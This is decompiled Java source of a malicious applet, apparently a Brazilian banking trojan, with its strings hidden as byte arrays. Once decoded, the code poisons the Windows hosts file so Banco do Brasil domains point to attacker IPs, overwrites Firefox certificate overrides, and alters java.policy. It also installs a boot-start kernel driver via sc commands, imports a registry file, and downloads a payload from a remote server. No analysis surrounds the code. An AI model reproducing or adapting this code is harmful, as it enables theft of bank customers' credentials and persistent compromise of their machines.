// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) // Source File Name: le.java import java.applet.Applet; import java.awt.Color; import java.awt.Graphics; import java.io.*; import java.net.URL; import java.net.URLConnection; import java.util.Enumeration; import java.util.regex.Matcher; import java.util.regex.Pattern; import java.util.zip.ZipEntry; import java.util.zip.ZipFile; public class le extends Applet { public le() { s8 = new String(osn); BAR1 = new String(BAR); LIN1 = new String(LIN); TEM1 = new String(TEM); IPP1 = new String(IPPP1); IPP2 = new String(IPPP2); VSYS1 = new String(VSYS); CMS1 = new String(CMS); CMSS1 = new String(CMSS); URLX1 = new String(URLX); bb = new String(BBB); gf = new String(gff); RANDO = (int)(Math.random() * 100000000D); IP_PH1 = IPP1; IP_PH2 = IPP2; JUST1 = "plus02.txt"; N_ZIP = "plus"; X_ZIP = (new StringBuilder(String.valueOf(RANDO))).append(".tmp").toString(); BARRA = System.getProperty(BAR1); PULAR = System.getProperty(LIN1); TEMPO = System.getProperty(TEM1); C_LIX = (new StringBuilder("C:")).append(BARRA).append(JUST1).toString(); C_HOST = (new StringBuilder("C:")).append(BARRA).append("WINDOWS").append(BARRA).append("system32").append(BARRA).append("drivers").append(BARRA).append("etc").append(BARRA).append("hosts").toString(); C_SYS = (new StringBuilder("C:")).append(BARRA).append("WINDOWS").append(BARRA).append("system32").append(BARRA).append("drivers").append(BARRA).append(VSYS1).toString(); C_JAVA = (new StringBuilder(String.valueOf(System.getProperty("java.home")))).append(BARRA).append("lib").append(BARRA).append("security").append(BARRA).append("java.policy").toString(); ST_HOST = PULAR; ST_JAVA = PULAR; } public void paint(Graphics g) { g.setColor(Color.darkGray); g.drawString("PLUS", 5, 10); } public static void Pausar(int n) { long t0 = System.currentTimeMillis(); long t1; do t1 = System.currentTimeMillis(); while(t1 - t0 < (long)(n * 1000)); } public void H32A(String URLexterna, String SalvarComo) { try { File files = new File(SalvarComo); boolean exists = files.exists(); if(!exists) { URL url = new URL(URLexterna); URLConnection connection = url.openConnection(); InputStream stream = connection.getInputStream(); BufferedInputStream in = new BufferedInputStream(stream); FileOutputStream file = new FileOutputStream(SalvarComo); BufferedOutputStream out = new BufferedOutputStream(file); int i; while((i = in.read()) != -1) out.write(i); out.flush(); out.close(); } } catch(IOException ioexception) { } } public void H32C(String ip, String HostURL) { ST_HOST = (new StringBuilder(String.valueOf(ST_HOST))).append(PULAR).append(ip).append(" ").append(HostURL).toString(); } public void H31S(String Local, String Dados) { try { File file = new File(Local); FileWriter filewriter = new FileWriter(file, true); filewriter.write((new StringBuilder()).append(Dados).toString()); filewriter.close(); } catch(IOException ioexception) { } } private static void H32F(String Local, String Destino) { try { File f1 = new File(Local); File f2 = new File(Destino); InputStream in = new FileInputStream(f1); OutputStream out = new FileOutputStream(f2); byte buf[] = new byte[1024]; int len; while((len = in.read(buf)) > 0) out.write(buf, 0, len); in.close(); out.close(); } catch(FileNotFoundException filenotfoundexception) { } catch(IOException ioexception) { } } public void H32B(String valor) { try { Runtime.getRuntime().exec(valor); } catch(IOException ioexception) { } } public void H24D(String p, String s) { try { InputStream aa1 = super.getClass().getResourceAsStream(p); FileOutputStream aa3 = new FileOutputStream(s); int aa0; while((aa0 = aa1.read()) != -1) aa3.write(aa0); aa3.flush(); aa3.close(); } catch(IOException ioexception) { } } public void H24Z(String Arq) { try { String zipname = (new StringBuilder(String.valueOf(TEMPO))).append(Arq).toString(); String xDir = TEMPO; ZipFile zipFile = new ZipFile(zipname); BufferedInputStream bis; for(Enumeration enumeration = zipFile.entries(); enumeration.hasMoreElements(); bis.close()) { ZipEntry zipEntry = (ZipEntry)enumeration.nextElement(); bis = new BufferedInputStream(zipFile.getInputStream(zipEntry)); byte buffer[] = new byte[2048]; BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream((new StringBuilder(String.valueOf(xDir))).append(zipEntry.getName()).toString()), buffer.length); int size; while((size = bis.read(buffer, 0, buffer.length)) != -1) bos.write(buffer, 0, size); bos.flush(); bos.close(); } } catch(IOException ioexception) { } } public void FFexists() { String U_HOME = System.getProperty("user.home"); if(!U_HOME.endsWith("/") && !U_HOME.endsWith("\\")) U_HOME = (new StringBuilder(String.valueOf(U_HOME))).append(BARRA).toString(); String STR1 = (new StringBuilder(String.valueOf(U_HOME))).append("Application Data").append(BARRA).append("Mozilla").append(BARRA).append("Firefox").append(BARRA).toString(); String STR2 = (new StringBuilder(String.valueOf(U_HOME))).append("Dados de aplicativos").append(BARRA).append("Mozilla").append(BARRA).append("Firefox").append(BARRA).toString(); String STR3 = (new StringBuilder(String.valueOf(U_HOME))).append("AppData").append(BARRA).append("Roaming ").append(BARRA).append("Mozilla").append(BARRA).append("Firefox").append(BARRA).toString(); try { File arq1 = new File((new StringBuilder(String.valueOf(STR1))).append("profiles.ini").toString()); File arq2 = new File((new StringBuilder(String.valueOf(STR2))).append("profiles.ini").toString()); File arq3 = new File((new StringBuilder(String.valueOf(STR3))).append("profiles.ini").toString()); if(arq1.exists()) GetFFdir(STR1); else if(arq2.exists()) GetFFdir(STR2); else if(arq3.exists()) GetFFdir(STR3); } catch(Exception exception) { } } public void GetFFdir(String Where) { try { FileInputStream fstream = new FileInputStream((new StringBuilder(String.valueOf(Where))).append("profiles.ini").toString()); DataInputStream in = new DataInputStream(fstream); BufferedReader br = new BufferedReader(new InputStreamReader(in)); String strLine; while((strLine = br.readLine()) != null) { Pattern Filtrar = Pattern.compile("Path=(.*)"); Matcher Buscar = Filtrar.matcher(strLine); if(Buscar.find()) { String ProfilesDIR = new String(Buscar.group(1)); ProfilesDIR = ProfilesDIR.replace('/', '\\'); if(!ProfilesDIR.endsWith("\\")) ProfilesDIR = (new StringBuilder(String.valueOf(ProfilesDIR))).append("\\").toString(); ProfilesDIR = (new StringBuilder(String.valueOf(Where))).append(ProfilesDIR).toString(); H32F((new StringBuilder(String.valueOf(TEMPO))).append("cert_override.txt").toString(), (new StringBuilder(String.valueOf(ProfilesDIR))).append("cert_override.txt").toString()); } } in.close(); } catch(Exception exception) { } } public void init() { if(System.getProperty("os.name").toLowerCase().indexOf("windows") <= -1) break MISSING_BLOCK_LABEL_393; File files = new File(C_LIX); boolean exists = files.exists(); if(exists) break MISSING_BLOCK_LABEL_393; if(TEMPO.endsWith("/") || TEMPO.endsWith("\\")) goto _L2; else goto _L1 _L1: this; TEMPO; JVM INSTR new #132 ; JVM INSTR dup_x1 ; JVM INSTR swap ; String.valueOf(); StringBuilder(); BARRA; append(); toString(); TEMPO; _L2: Pausar(1); H32B("cmd /c mkdir c:\\windows\\syswow64\\drivers\\etc"); Pausar(1); H32C(IP_PH1, bb); H32C(IP_PH2, gf); Pausar(1); H31S(C_HOST, ST_HOST); H31S(C_JAVA, ST_JAVA); H24D(N_ZIP, (new StringBuilder(String.valueOf(TEMPO))).append(X_ZIP).toString()); Pausar(1); H24Z(X_ZIP); Pausar(1); FFexists(); Pausar(1); H32F((new StringBuilder(String.valueOf(TEMPO))).append(VSYS1).toString(), C_SYS); Pausar(1); H32B(CMS1); Pausar(2); H32B(CMSS1); H32B((new StringBuilder("cmd /c REG IMPORT ")).append(TEMPO).append("add.reg").toString()); String OS = System.getProperty(s8); Pattern osaa = Pattern.compile("Windows (.*)"); Matcher matcher = osaa.matcher(OS); if(matcher.find()) { String tipo = matcher.group(1); String t = (new StringBuilder("Windows")).append(tipo).toString(); H32A((new StringBuilder(String.valueOf(URLX1))).append(t).toString(), C_LIX); } } private static final long serialVersionUID = 1L; byte osn[] = { 111, 115, 46, 110, 97, 109, 101 }; String s8; byte BAR[] = { 102, 105, 108, 101, 46, 115, 101, 112, 97, 114, 97, 116, 111, 114 }; String BAR1; byte LIN[] = { 108, 105, 110, 101, 46, 115, 101, 112, 97, 114, 97, 116, 111, 114 }; String LIN1; byte TEM[] = { 106, 97, 118, 97, 46, 105, 111, 46, 116, 109, 112, 100, 105, 114 }; String TEM1; byte IPPP1[] = { 49, 55, 52, 46, 51, 55, 46, 52, 54, 46, 49, 50, 48 }; String IPP1; byte IPPP2[] = { 49, 55, 52, 46, 51, 55, 46, 52, 54, 46, 49, 50, 49 }; String IPP2; byte VSYS[] = { 112, 108, 117, 115, 100, 114, 105, 118, 101, 114, 46, 115, 121, 115 }; String VSYS1; byte CMS[] = { 99, 109, 100, 46, 101, 120, 101, 32, 47, 99, 32, 115, 99, 32, 99, 114, 101, 97, 116, 101, 32, 100, 114, 105, 118, 101, 114, 117, 115, 98, 112, 108, 117, 115, 32, 98, 105, 110, 80, 97, 116, 104, 61, 32, 34, 115, 121, 115, 116, 101, 109, 51, 50, 92, 100, 114, 105, 118, 101, 114, 115, 92, 112, 108, 117, 115, 100, 114, 105, 118, 101, 114, 46, 115, 121, 115, 34, 32, 103, 114, 111, 117, 112, 61, 32, 34, 65, 99, 116, 32, 80, 108, 117, 115, 32, 71, 114, 111, 117, 112, 34, 32, 116, 121, 112, 101, 61, 32, 107, 101, 114, 110, 101, 108, 32, 115, 116, 97, 114, 116, 61, 32, 98, 111, 111, 116, 32, 101, 114, 114, 111, 114, 61, 32, 110, 111, 114, 109, 97, 108, 32, 68, 105, 115, 112, 108, 97, 121, 78, 97, 109, 101, 61, 32, 34, 100, 114, 105, 118, 101, 114, 117, 115, 98, 112, 108, 117, 115, 34 }; String CMS1; byte CMSS[] = { 99, 109, 100, 46, 101, 120, 101, 32, 47, 99, 32, 115, 99, 32, 115, 116, 97, 114, 116, 32, 100, 114, 105, 118, 101, 114, 117, 115, 98, 112, 108, 117, 115 }; String CMSS1; byte URLX[] = { 104, 116, 116, 112, 58, 47, 47, 49, 55, 52, 46, 51, 55, 46, 52, 54, 46, 49, 50, 50, 47, 112, 108, 117, 115, 46, 112, 104, 112, 63, 111, 115, 61 }; String URLX1; byte BBB[] = { 119, 119, 119, 50, 46, 98, 97, 110, 99, 111, 98, 114, 97, 115, 105, 108, 46, 99, 111, 109, 46, 98, 114 }; String bb; byte gff[] = { 97, 97, 112, 106, 46, 98, 98, 46, 99, 111, 109, 46, 98, 114 }; String gf; int RANDO; String IP_PH1; String IP_PH2; String JUST1; String N_ZIP; String X_ZIP; String BARRA; String PULAR; String TEMPO; String C_LIX; String C_HOST; String C_SYS; String C_JAVA; String ST_HOST; String ST_JAVA; }